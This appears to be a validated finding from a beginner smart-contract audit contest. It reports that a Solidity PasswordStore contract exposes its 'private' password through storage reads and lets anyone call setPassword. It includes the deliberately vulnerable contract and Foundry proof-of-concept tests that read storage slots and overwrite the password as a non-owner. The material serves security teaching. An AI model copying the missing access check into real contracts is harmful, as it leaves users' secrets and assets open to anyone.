First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Access Private Variable and Set New Password without being Owner

thedoctor

Summary

  1. Able to access Private Variable and get the Private password.

  2. Change to a new password without being the owner.

Vulnerability Details

  1. Even if a variable is designated as private, its value can still be visible on the blockchain! If you find this surprising, take a moment to absorb it. Declaring a variable as private merely restricts access to other smart contracts; however, we can view any storage variable by examining the contract's storage layout.

  2. You notice that the Natspec commented that only the owner can set a new password, but it is missing validation.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
​
/*
* @author not-so-secure-dev
* @title PasswordStore
* @notice This contract allows you to store a private password that others won't be able to see.
* You can update your password at any time.
*/
contract PasswordStore {
error PasswordStore__NotOwner();
​
address private s_owner; // 32 bytes
// @audit-issue Able to access private variable
string private s_password; //32 bytes
​
event SetNetPassword();
​
constructor() {
s_owner = msg.sender;
}
​
/*
* @notice This function allows only the owner to set a new password.
* @param newPassword The new password to set.
*/
// @audit-issue Anyone can set the new password without being the owner
function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}
​
/*
* @notice This allows only the owner to retrieve the password.
* @param newPassword The new password to set.
*/
function getPassword() external view returns (string memory) {
if (msg.sender != s_owner) {
revert PasswordStore__NotOwner();
}
return s_password;
}
}
​

Test Case

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
​
import {Test, console} from "forge-std/Test.sol";
import {PasswordStore} from "../src/PasswordStore.sol";
import {DeployPasswordStore} from "../script/DeployPasswordStore.s.sol";
​
contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
address public owner;
​
function setUp() public {
deployer = new DeployPasswordStore();
passwordStore = deployer.run();
owner = msg.sender;
}
​
function test_owner_can_set_password() public {
vm.startPrank(owner);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword);
}
​
function test_non_owner_reading_password_reverts() public {
vm.startPrank(address(1));
​
vm.expectRevert(PasswordStore.PasswordStore__NotOwner.selector);
passwordStore.getPassword();
}
function test_attacker_get_password() public {
vm.startPrank(address(1));
​
bytes32 slot_0 = vm.load(address(passwordStore), bytes32(uint256(0)));
address slot = address(uint160(uint256(slot_0)));
​
bytes32 slot_1 = vm.load(address(passwordStore), bytes32(uint256(1)));
string memory slot1 = string(abi.encodePacked(slot_1));
​
emit log_address(slot); //get first slot
emit log_string(slot1); //get second slot
​
​
}
​
function test_attacker_set_newpassword() public {
vm.startPrank(address(1));
passwordStore.setPassword("NEW_PASSWORD");
test_attacker_get_password();
}
}

Impact

Anyone can access the password of the contract and able to set a new password.

Tools Used

Manual Review

Recommendations

  1. Hash the private variable password.

  2. Add the onlyOwner modifier to the setPassword function.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.